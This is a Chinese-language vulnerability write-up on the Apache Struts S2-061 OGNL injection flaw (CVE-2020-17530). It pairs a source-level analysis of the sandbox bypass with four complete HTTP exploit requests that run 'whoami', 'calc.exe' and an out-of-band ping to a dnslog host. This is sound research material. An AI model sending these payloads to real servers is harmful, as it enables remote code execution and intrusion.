S2-061_RCE_CVE-2020-17530

2021-07-21 17:43:57 浏览数 (1)

影响范围

Struts 2.0.0 - Struts 2.5.25

漏洞类型

OGNL表达式解析

利用条件

开启altSyntax功能 标签属性中使用了`%{x}`且`x`的值用户可控

漏洞概述

Struts2会对某些标签属性(比如:'id')的属性值进行二次表达式解析,因此当这些标签属性中使用了'%{x}'且'x'的值用户可控时,用户再传入一个'%{payload}'即可造成OGNL表达式执行,S2-061是对S2-059沙盒进行的绕过,S2-059的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行,直到最新版本2.5.26版本中OGNL表达式的执行才得以修复

漏洞复现
简易测试

pom文件如下所示:

代码语言:javascript复制
    <dependencies>
        <dependency>
            <groupId>org.apache.struts</groupId>
            <artifactId>struts2-core</artifactId>
            <version>2.5.25</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.2</version>
        </dependency>
    </dependencies>

之后启动Tomcat并在浏览器中访问:

之后访问一下URL进行简易测试:

命令执行
SSRF测试
代码语言:javascript复制
POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
Host: 192.168.174.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 846

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping 4ofoqe.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

DNSLog回显:

执行系统命令

代码语言:javascript复制
POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
Host: 192.168.174.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 831

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

弹计算器测试

代码语言:javascript复制
POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
Host: 192.168.174.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 833

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("calc.exe")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
其他方式
代码语言:javascript复制
POST /SimpleStruts_war_exploded/S2061.action HTTP/1.1
Host: 192.168.174.149:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0DD7F8E6B11D062C574037318DC36C2D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1365

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)   
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0)   
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)  
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0)   
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0)   
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0)   
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0)   
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0)  
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
调试分析

首先我们看一下在Struts 2.5.25的Struts-default.xml文件中沙盒的限制:

代码语言:javascript复制
    <constant name="struts.excludedClasses"
              value="
                java.lang.Object,
                java.lang.Runtime,
                java.lang.System,
                java.lang.Class,
                java.lang.ClassLoader,
                java.lang.Shutdown,
                java.lang.ProcessBuilder,
                sun.misc.Unsafe,
                com.opensymphony.xwork2.ActionContext" />

    <!-- this must be valid regex, each '.' in package name must be escaped! -->
    <!-- it's more flexible but slower than simple string comparison -->
    <!-- constant name="struts.excludedPackageNamePatterns" value="^java.lang..*,^ognl.*,^(?!javax.servlet.. )(javax.. )" / -->

    <!-- this is simpler version of the above used with string comparison -->
    <constant name="struts.excludedPackageNames"
              value="
                ognl.,
                java.io.,
                java.net.,
                java.nio.,
                javax.,
                freemarker.core.,
                freemarker.template.,
                freemarker.ext.jsp.,
                freemarker.ext.rhino.,
                sun.misc.,
                sun.reflect.,
                javassist.,
                org.apache.velocity.,
                org.objectweb.asm.,
                org.springframework.context.,
                com.opensymphony.xwork2.inject.,
                com.opensymphony.xwork2.ognl.,
                com.opensymphony.xwork2.security.,
                com.opensymphony.xwork2.util." />

总体限制归纳如下:

  • 无法new一个对象
  • 无法使用反射机制
  • 无法直接执行命令
  • 无法调用静态方法
  • 无法调用方法属性非public的方法
  • 无法调用黑名单类和包的方法、属性

同时在struts2在ognl.OgnlRuntime#invokeMethod中ban掉了常用的class,所以即使绕过了沙盒也不能直接调用这些类:

代码语言:javascript复制
   public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
        if (_useStricterInvocation) {
            Class methodDeclaringClass = method.getDeclaringClass();
            if (AO_SETACCESSIBLE_REF != null 
                && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null 
                && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null 
                && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null 
                && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
                throw new IllegalAccessException("Method ["   method   "] cannot be called from within OGNL invokeMethod() under stricter invocation mode.");
            }
        }

        boolean syncInvoke;
        boolean checkPermission;
        synchronized(method) {
            Boolean methodAccessCacheValue = (Boolean)_methodAccessCache.get(method);
            if (methodAccessCacheValue == null) {
                if (Modifier.isPublic(method.getModifiers())&& Modifier.isPublic(method.getDeclaringClass().getModifiers())) {
                    methodAccessCacheValue = Boolean.FALSE;
                    _methodAccessCache.put(method, methodAccessCacheValue);
                } else if (!method.isAccessible()) {
                    methodAccessCacheValue = Boolean.TRUE;
                    _methodAccessCache.put(method, methodAccessCacheValue);
                } else {
                    methodAccessCacheValue = Boolean.FALSE;
                    _methodAccessCache.put(method, methodAccessCacheValue);
                }
            }

            syncInvoke = Boolean.TRUE.equals(methodAccessCacheValue);
            Boolean methodPermCacheValue = (Boolean)_methodPermCache.get(method);
            if (methodPermCacheValue == null) {
                if (_securityManager != null) {
                    try {
                        _securityManager.checkPermission(getPermission(method));
                        methodPermCacheValue = Boolean.TRUE;
                        _methodPermCache.put(method, methodPermCacheValue);
                    } catch (SecurityException var22) {
                        methodPermCacheValue = Boolean.FALSE;
                        _methodPermCache.put(method, methodPermCacheValue);
                        throw new IllegalAccessException("Method ["   method   "] cannot be accessed.");
                    }
                } else {
                    methodPermCacheValue = Boolean.TRUE;
                    _methodPermCache.put(method, methodPermCacheValue);
                }
            }

            checkPermission = Boolean.FALSE.equals(methodPermCacheValue);
        }

        Object result;
        if (syncInvoke) {
            synchronized(method) {
                if (checkPermission) {
                    try {
                        _securityManager.checkPermission(getPermission(method));
                    } catch (SecurityException var19) {
                        throw new IllegalAccessException("Method ["   method   "] cannot be accessed.");
                    }
                }

                _accessibleObjectHandler.setAccessible(method, true);

                try {
                    result = invokeMethodInsideSandbox(target, method, argsArray);
                } finally {
                    _accessibleObjectHandler.setAccessible(method, false);
                }
            }
        } else {
            if (checkPermission) {
                try {
                    _securityManager.checkPermission(getPermission(method));
                } catch (SecurityException var21) {
                    throw new IllegalAccessException("Method ["   method   "] cannot be accessed.");
                }
            }

            result = invokeMethodInsideSandbox(target, method, argsArray);
        }

        return result;
    }

通过分析发现OGNL并没有限制如下操作:

  • 对象属性setter/getter(public)赋/取值,可以访问静态属性
  • 已实例类的方法调用(OgnlContext中的对象),不允许调用静态方法

下面我们通过对网络中公开的EXP进行一个简易的分析来对该漏洞的沙盒绕过进行一个简单的分析,首先可以看到的是在EXP中#application为org.apache.tomcat.InstanceManager,其键值为org.apache.catalina.core.DefaultInstanceManager的实例化对象:

该类有一个newInstance方法,它可以实例化任意无参构造方法的类并返回,也就是说我们现在绕过了无法new一个对象的限制,不过这个对象必须存在public的无参构造方法:

那么我们如何获取到OgnlContext呢?在S2-057中采取的措施是通过#attr 、#request等map对象中的struts.valueStack间接获取OgnlContext ,而在S2-057的补丁中把com.opensymphony.xwork2.ognl.加入到了黑名单,所以不能调用OgnlValueStack的getContext方法,不过我们可以利用实例化任意无参构造方法条件调用一些方法,间接的帮我们获取到OgnlContext,于是注意到了EXP中的org.apache.commons.collections.BeanMap

在这里我们着重关注一下setBean方法:

跟进这里的this.reinitialise(),之后继续跟进this.initialise()方法

可以看到它会把传入对象对应的class当做bean,提取get和set方法以及name赋值进readMethods和writeMethods

看一下其get方法,这里会根据我们传入的name调用readMethods中对应的getXxx方法:

而com.opensymphony.xwork2.ognl.OgnlValueStack中存在getContext方法,因此我们可以拿到OgnlValueStack后,利用 BeanMap间接获取到OgnlContext:

并利用put方法调用setExcludedClasses和setExcludedPackageNames覆盖掉黑名单

之前提到过最新的struts2即使绕过了沙盒依然不能直接调用常用的类来进行利用,但是我们清空了黑名单之后就可以实例化任意黑名单中的类,看下黑明单包中的类freemarker.template.utility.Execute,存在无参构造方法Execute(),exec方法可以直接执行命令:

安全建议

升级到最新版本

参考链接

https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g

https://www.cnblogs.com/backlion/p/14122528.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17530

0 人点赞